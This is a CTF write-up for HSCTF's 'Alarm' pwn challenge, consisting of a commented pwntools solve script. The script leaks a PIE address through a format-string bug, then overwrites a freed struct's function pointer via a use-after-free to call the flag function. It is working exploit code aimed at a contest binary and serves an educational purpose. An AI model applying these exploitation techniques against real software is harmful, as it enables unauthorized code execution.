Alarm

blevy

2018/08/29

Categories: pwn

Solve script

solve.py

from pwn import *

e = ELF('alarm')
what_addr = e.symbols['what'] # Function that gives flag
loop_addr = e.symbols['loop'] # Mainloop

#p = process('./alarm')
p = remote('shell.hsctf.com', 10004)

# STAGE 1

# Create alarm to leak offset of symbols. We need to do this becuase this is a
# PIE (Position Independent Executable), meaning that all the addresses will be
# offset by an unknown amount. The program actually attempts to recognize format
# string payloads, which is the reason for the # symbol.
print p.recvuntil('$ ')
p.send('a %#p %#p %#p %#p %#p %#p\n')

# Leak offest
print p.recvuntil('$ ')
# This prints the alarm name. It exploits the format string bug. To print a few
# addresses from the top of the stack.
p.send('n\n')
print p.recvuntil('Alarm name: ')
leaked_addrs = p.recvline()
print leaked_addrs
# If you set a breakpoint at the vulnerable printf, you can see that the 6th stack
# address points to loop+278. This allows us to calculate the offset.
loop_plus_278_offset_addr = int(leaked_addrs.split(' ')[5], 16)
print "offsetted addr: " + hex(loop_plus_278_offset_addr)
# Actually calculate the offset
offset = loop_plus_278_offset_addr - 278 - loop_addr
print "offset: " + hex(offset)

# STAGE 2

# Now that we have the offset, we need to exploit another bug to call what().
# The alarms and radios are stored on the heap. By reversing, we determine the
# format of the structs.
#
# struct alarm {
#         uint32_t pad1;
#         char name[39];
#         char pad2[5];
#         uintptr_t ring_func;
#         uintptr_t wink_func;
# };
#
# struct radio {
#         uint32_t pad1;
#         char name[51];
#         char pad2;
#         uintptr_t play_func;
#         uintptr_t wink_func;
# };
#
# A few important things to notice: The name field of radio is much longer, and
# the structs both store function pointers. The idea of stage 2 of the exploit
# is to free the alarm created for stage 1, then create a radio that puts the
# address of what() in ring_func of the freed alarm. Then, ring the freed (ghost)
# alarm to execute a call to what()

# Free the alarm (so that a new radio can occupy the space on the heap)
# Since the program doesn't clear this memory, it in effect creates a *ghost* alarm
print p.recvuntil('$ ')
p.send('d\n')

# Create evil radio, which pads the unneeded parts of the name (the lenght of
# the alarm's name field and padding) with A, and puts the address of what()
# in ring_func of the ghost alarm. Notice that we use the offset leaked in stage 1.
print p.recvuntil('$ ')
payload = 'r ' + 'A' * (39 + 5) + p64(what_addr + offset) + '\n'
p.send(payload)

# Now we activate the ring on the ghost alarm and execute what().
print p.recvuntil('$ ')
p.send('i\n')

p.interactive() # This again